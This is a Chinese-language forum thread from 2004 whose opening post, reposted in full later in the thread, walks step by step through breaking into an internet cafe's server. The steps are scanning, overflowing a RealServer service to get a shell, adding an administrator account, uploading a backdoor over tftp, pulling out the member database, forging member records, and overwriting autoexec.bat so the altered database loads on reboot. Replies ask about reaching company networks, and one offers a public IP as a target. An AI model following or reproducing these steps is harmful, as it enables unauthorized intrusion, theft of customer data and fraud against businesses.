打印

入侵网吧服务器

白紫衣

★打望族★

Rank: 8 Rank: 8

苦修者

复制地址楼主大中小发表于 2004-3-26 05:02 只看该作者

入侵网吧服务器

声明：本文只是告诉你可以这样进入一台网吧服务器，并没有怂恿的意思，任何由本文引起的破坏网吧秩序的行为和作者与作者所在学校无关。本文可自由转载，但请尊重作者版权，保持文章完整。
　一直有写些东西的冲动，只是太懒，从前写些在网吧免费上网的东东，现在想想是该换些别的。有些东西放了太久很容易过时的。本文所提及的工具都可以在网上找到。
一、确定目标
　首先要确定要攻击的目标，即网吧服务器的IP是多少。我所在网吧的客户机装的是Windows 98+万象2003，估计服务器应该是Windows 2k以上，用Superscan 3.0扫了一下192.168.0.1~192.168.0.254这个范围的135端口，只有一个结果，往服务台瞅了一眼，确实只有一台服务器没有错，目标确定。
二、开始入侵
　既然服务器开了135端口，那么先用RPC服务缓冲区溢出漏洞溢出工具“RPC Exploit GUI”试试看，选择目标为win2k（ALL）和winxp（ALL）都没有成功，或许是打了补丁，也可能是借助天网防火墙之类的对135端口做了限制。打开Superscan，扫了一下192.168.0.100（刚才扫出的服务器内部IP地址）的“1~500”端口，结果显示服务器开了21（ftp），80（http），135（Location Service），139（NetBIos），445（Microsoft-DS）端口，在IE地址栏内输入"ftp://192.168.0.100",有个共享目录Backup，打开浏览了一遍，东西挺多，只是有个万象2003的安装程序让我不至于太失望。返回Superscan，可以看到结果栏里显示服务器用的是IIS5.1，可以确定目标服务器用的是Windows XP，看来用Webdavx溢出XP的机子是没希望了，用X-scan扫描服务器网页，报告发现.idq/.ida映射的溢出漏洞。骗人的。其实对于IIS5.1无效，想过利用X-way穷举目标服务器的密码，但是很费时，我没有太多时间，便放弃了。又试着对服务器的fp30reg.dll进行溢出。由于对方防火墙的阻挡，测试失败。Win98的客户机实在不能利用目标服务器的139端口做些什么。用“RPC Exploit GUI”溢出服务器的139、445端口的成功率太低。先冷静一会儿，满着看目标服务器的网站做的如何，随便点了一会儿，是个利用RealPlayer播放的在线电影网站，想起来了，该服务不是开了个554（媒体流）端口嘛！刚才用Superscan扫描时忘了，现在补充确认一下。再用real服务缓冲区溢出漏洞溢出工具"THCREALbad"试试。这个漏洞不是很著名，管理员有可能不知道，我心里想着，一会儿，提示溢出成功，并要求我连接到其31337端口，我终于看到了曙光，telnet上去，成功获得服务器的shell。
先做个账号，这要用到几条命令：（括号内为注解，不要输入）
net user guest /active:yes（启用账户guest）
net user guest 12345（把账户guest的密码设为12345）
net localgroup administrators /add guest（把账户guest加到administrators组，具有最高权限，默认为Guests组）
由于服务器用的是WinXP，因此映射网络驱动器的方法是不行了，下载TFTPD32并运行（自己去网上找），把本地变成一台FTP服务器，FTP目录设为C盘根目录，下载djxyxs.exe（开3389用的）到C盘根目录（FTP目录设在哪里就下载到哪里）。回到溢出shell，把djxyxs.exe传到服务器，执行“tftp -i 192.168.0.50 get djxyxs.exe C:\windows\system\djxyxs.exe（注：192.168.0.50为本地机），传过来了，再执行“djxyxs”程序，对方的3389端口就要开了（还要重启），后门制作好了以后，来窃取服务器的会员数据库(这是本文的重点)，服务端一般是被装在C盘的Octopus目录下，执行“tftp -i 192.168.0.50 put Oct2003.mdb c:\octopus\Oct2003.mdb”（注：oct2003.mdb为万象2003的会员数据库），一盏茶的功夫（视数据库的大小而定），数据库下载过来了，但是怎么打开呢？可以用Excel，但网吧里不会装这种玩意，记得服务器的共享目录Backup里有个万象2003的安装程序（在“百度”搜索“万象2003”可以找到），把它的服务端装到本机D盘根目录，用刚刚下载到C盘的Oct2003.mdb覆盖掉本机“D:\Octopus”目录里的空数据库文件，再运行服务端程序“server.exe”可以看到本网吧的所有会员，接下来是自己添加会员，没什么好说的，可别告诉我你不会。再着是要把修改后的数据库文件传回来，由于服务器的万象服务端是开着的，为避免发生冲突，切不可把修改过的数据库文件直接传到目标的octopus目录，要换一种方法，让服务器在重新启动过程中替换掉那两个文件，方法如下：
1、编辑本机的autoexec.bat（在C盘的根目录），删掉所有内容。
2、输入以下内容：（括号内为解释，不要输入）

@echo off（关闭屏幕回显）
move c:\Oct2003.mdb c:\Octopus（将本机C盘的数据库文件替换掉服务器里的数据库文件）

3、回到服务器的shell，执行“tftp -i 192.168.0.50 get autoexec.bat c:\autoexec.bat”（用我们的自启动文件autoexec.bat覆盖掉服务器的autoexec.bat）。
4、最后是把修改过的数据库文件传到服务器，执行“tftp -i 192.168.0.50 get Oct2003.mdb c:\Oct2003.mdb”
　接下来只需叫管理员把服务器重启一下就可以了（呵呵！管理员会听你的吗？）。XP自带一个重启的命令（Shutdown），我在溢出的shell里执行“shutdown -r”后，提示“权限不够，客户机不能执行重启命令”，算了吧！心急的可以来个拒绝服务攻击。本篇写的确实挺乱的，没有什么技术性可言，仅供一些人参考

【签名档】
[flash]http://cartoonfile.163.com/source/52996/nzmsdwng.swf[/flash]

TOP

白紫衣

★打望族★

Rank: 8 Rank: 8

苦修者

复制地址2楼大中小发表于 2004-3-26 05:52 只看该作者

特别提醒

该文章针对现在网吧普遍存在的网络安全问题而写,大家可以交流意见,但是别去用这个泻私愤,由于用该文所讲述办法所产生的一切后果,跟我们无关!
入侵是要承担法律责任的,大家请三思而为!

【签名档】
[flash]http://cartoonfile.163.com/source/52996/nzmsdwng.swf[/flash]

TOP

vicowoo

中级会员

Rank: 3 Rank: 3

复制地址3楼大中小发表于 2004-3-28 19:00 只看该作者

写得很乱，而且对于欧美D级安全级别的系统，实在无语

本人说话一向事实求事。

【签名档】
[flash]http://www.cqlife.com/userfile/270153291393150285.JPG[/flash]

TOP

嘉华

中级会员

Rank: 3 Rank: 3

复制地址4楼大中小发表于 2004-3-29 00:02 只看该作者

受益非浅

但还是不太懂
有方法在家里连接进公司局域网的服务器和终端进行操作吗？

【签名档】

[move]站在你家进口静静的在等候[/move][move]陪伴着我是你家门紧扣[/move][fly]想一想你的时候多温柔[/fly][fly]看一看门外的我舍不得走[/fly][fly]我知道没有理由再做你的男朋友[/fly][fly]只希望你能接受这一个朋友[/fly][glow=255,yellow,2]让我为你解优但愿我的真心对你有些用[/glow][glow=255,yellow,2]打开门在你需要的时候[/glow]

TOP

3037691

中级会员

Rank: 3 Rank: 3

复制地址5楼大中小发表于 2004-3-29 03:39 只看该作者

给你个挑战。来攻击我的网吧服务器

需要我提供IP吗？

【签名档】

TOP

白紫衣

★打望族★

Rank: 8 Rank: 8

苦修者

复制地址6楼大中小发表于 2004-3-29 06:28 只看该作者

给你们来个一次性回复！

该办法同样适合于公司网络!
还有,需要测试自己服务器的朋友,请你留下你服务器的地址!不然我们怎么帮你测试!

这个文章是很郁闷的情况下写的,所以固然很乱,呵呵!
不过还是比较实用!

【签名档】
[flash]http://cartoonfile.163.com/source/52996/nzmsdwng.swf[/flash]

TOP

凯普

中级会员

Rank: 3 Rank: 3

复制地址7楼大中小发表于 2004-3-29 17:53 只看该作者

晕~~~

内网入侵~~~~

【签名档】
QQ：124158545 欢迎你的光临！呵呵

QQ：124158545 欢迎你的光临！呵呵

TOP

vicowoo

中级会员

Rank: 3 Rank: 3

复制地址8楼大中小发表于 2004-3-29 18:08 只看该作者

哇，我拿个小板凳坐在旁边看哈

你们搞，搞完老写个工作总结和汇报，让偶看看就可以了，嘿嘿

【签名档】
[flash]http://www.cqlife.com/userfile/270153291393150285.JPG[/flash]

TOP

白紫衣

★打望族★

Rank: 8 Rank: 8

苦修者

复制地址9楼大中小发表于 2004-3-30 04:35 只看该作者

你想的还黑轻松也!呵呵!

RT

【签名档】
[flash]http://cartoonfile.163.com/source/52996/nzmsdwng.swf[/flash]

TOP

3037691

中级会员

Rank: 3 Rank: 3

复制地址10楼 大中小发表于 2004-3-31 06:20 只看该作者

211.144.167.6

让你试我看你多大能耐
结果说一声

【签名档】

TOP

jarodann

中级会员

Rank: 3 Rank: 3

复制地址11楼 大中小发表于 2004-3-31 17:57 只看该作者

ding

顶

【签名档】
[glow=255,red,2]仅代表个人意见，如有差池，请谅解！[/glow]

叶散的时候，你明白欢聚。
花谢的时候，你明白青春。

叶散的时候，你明白欢聚。花谢的时候，你明白青春。

TOP

E网情深

中级会员

Rank: 3 Rank: 3

复制地址12楼 大中小发表于 2004-6-20 08:01 只看该作者

入侵网吧服务器

声明：本文只是告诉你可以这样进入一台网吧服务器，并没有怂恿的意思，任何由本文引起的破坏网吧秩序的行为和作者与作者所在学校无关。本文可自由转载，但请尊重作者版权，保持文章完整。
　一直有写些东西的冲动，只是太懒，从前写些在网吧免费上网的东东，现在想想是该换些别的。有些东西放了太久很容易过时的。本文所提及的工具都可以在网上找到。
一、确定目标
　首先要确定要攻击的目标，即网吧服务器的IP是多少。我所在网吧的客户机装的是Windows 98+万象2003，估计服务器应该是Windows 2k以上，用Superscan 3.0扫了一下192.168.0.1~192.168.0.254这个范围的135端口，只有一个结果，往服务台瞅了一眼，确实只有一台服务器没有错，目标确定。
二、开始入侵
　既然服务器开了135端口，那么先用RPC服务缓冲区溢出漏洞溢出工具“RPC Exploit GUI”试试看，选择目标为win2k（ALL）和winxp（ALL）都没有成功，或许是打了补丁，也可能是借助天网防火墙之类的对135端口做了限制。打开Superscan，扫了一下192.168.0.100（刚才扫出的服务器内部IP地址）的“1~500”端口，结果显示服务器开了21（ftp），80（http），135（Location Service），139（NetBIos），445（Microsoft-DS）端口，在IE地址栏内输入’ftp://192.168.0.100’,有个共享目录Backup，打开浏览了一遍，东西挺多，只是有个万象2003的安装程序让我不至于太失望。返回Superscan，可以看到结果栏里显示服务器用的是IIS5.1，可以确定目标服务器用的是Windows XP，看来用Webdavx溢出XP的机子是没希望了，用X-scan扫描服务器网页，报告发现.idq/.ida映射的溢出漏洞。骗人的。其实对于IIS5.1无效，想过利用X-way穷举目标服务器的密码，但是很费时，我没有太多时间，便放弃了。又试着对服务器的fp30reg.dll进行溢出。由于对方防火墙的阻挡，测试失败。Win98的客户机实在不能利用目标服务器的139端口做些什么。用“RPC Exploit GUI”溢出服务器的139、445端口的成功率太低。先冷静一会儿，满着看目标服务器的网站做的如何，随便点了一会儿，是个利用RealPlayer播放的在线电影网站，想起来了，该服务不是开了个554（媒体流）端口嘛！刚才用Superscan扫描时忘了，现在补充确认一下。再用real服务缓冲区溢出漏洞溢出工具’THCREALbad’试试。这个漏洞不是很著名，管理员有可能不知道，我心里想着，一会儿，提示溢出成功，并要求我连接到其31337端口，我终于看到了曙光，telnet上去，成功获得服务器的shell。
先做个账号，这要用到几条命令：（括号内为注解，不要输入）
net user guest /active:yes（启用账户guest）
net user guest 12345（把账户guest的密码设为12345）
net localgroup administrators /add guest（把账户guest加到administrators组，具有最高权限，默认为Guests组）
由于服务器用的是WinXP，因此映射网络驱动器的方法是不行了，下载TFTPD32并运行（自己去网上找），把本地变成一台FTP服务器，FTP目录设为C盘根目录，下载djxyxs.exe（开3389用的）到C盘根目录（FTP目录设在哪里就下载到哪里）。回到溢出shell，把djxyxs.exe传到服务器，执行“tftp -i 192.168.0.50 get djxyxs.exe C:\windows\system\djxyxs.exe（注：192.168.0.50为本地机），传过来了，再执行“djxyxs”程序，对方的3389端口就要开了（还要重启），后门制作好了以后，来窃取服务器的会员数据库(这是本文的重点)，服务端一般是被装在C盘的Octopus目录下，执行“tftp -i 192.168.0.50 put Oct2003.mdb c:\octopus\Oct2003.mdb”（注：oct2003.mdb为万象2003的会员数据库），一盏茶的功夫（视数据库的大小而定），数据库下载过来了，但是怎么打开呢？可以用Excel，但网吧里不会装这种玩意，记得服务器的共享目录Backup里有个万象2003的安装程序（在“百度”搜索“万象2003”可以找到），把它的服务端装到本机D盘根目录，用刚刚下载到C盘的Oct2003.mdb覆盖掉本机“D:\Octopus”目录里的空数据库文件，再运行服务端程序“server.exe”可以看到本网吧的所有会员，接下来是自己添加会员，没什么好说的，可别告诉我你不会。再着是要把修改后的数据库文件传回来，由于服务器的万象服务端是开着的，为避免发生冲突，切不可把修改过的数据库文件直接传到目标的octopus目录，要换一种方法，让服务器在重新启动过程中替换掉那两个文件，方法如下：
1、编辑本机的autoexec.bat（在C盘的根目录），删掉所有内容。
2、输入以下内容：（括号内为解释，不要输入）

@echo off（关闭屏幕回显）
move c:\Oct2003.mdb c:\Octopus（将本机C盘的数据库文件替换掉服务器里的数据库文件）

3、回到服务器的shell，执行“tftp -i 192.168.0.50 get autoexec.bat c:\autoexec.bat”（用我们的自启动文件autoexec.bat覆盖掉服务器的autoexec.bat）。
4、最后是把修改过的数据库文件传到服务器，执行“tftp -i 192.168.0.50 get Oct2003.mdb c:\Oct2003.mdb”
　接下来只需叫管理员把服务器重启一下就可以了（呵呵！管理员会听你的吗？）。XP自带一个重启的命令（Shutdown），我在溢出的shell里执行“shutdown -r”后，提示“权限不够，客户机不能执行重启命令”，算了吧！心急的可以来个拒绝服务攻击。本篇写的确实挺乱的，没有什么技术性可言，仅供一些人参考

【签名档】

【签名档】
因为年轻所以自信

TOP

pccm

中级会员

Rank: 3 Rank: 3

复制地址13楼 大中小发表于 2004-6-23 07:05 只看该作者

偶的服务器漏洞倒是很多.

但这个年头菜鸟也多.
谁没事弄你的服务器?

【签名档】

TOP

pccm

中级会员

Rank: 3 Rank: 3

复制地址14楼 大中小发表于 2004-6-23 07:25 只看该作者

老大,不要口出狂言哟.

BIND漏洞.

【签名档】

TOP

西恩动力

中级会员

Rank: 3 Rank: 3

复制地址15楼 大中小发表于 2004-6-30 12:37 只看该作者

真是厉害

一个字，强呀
是原创的吗？

【签名档】

欢迎访问我的主页：www.siencn.com

TOP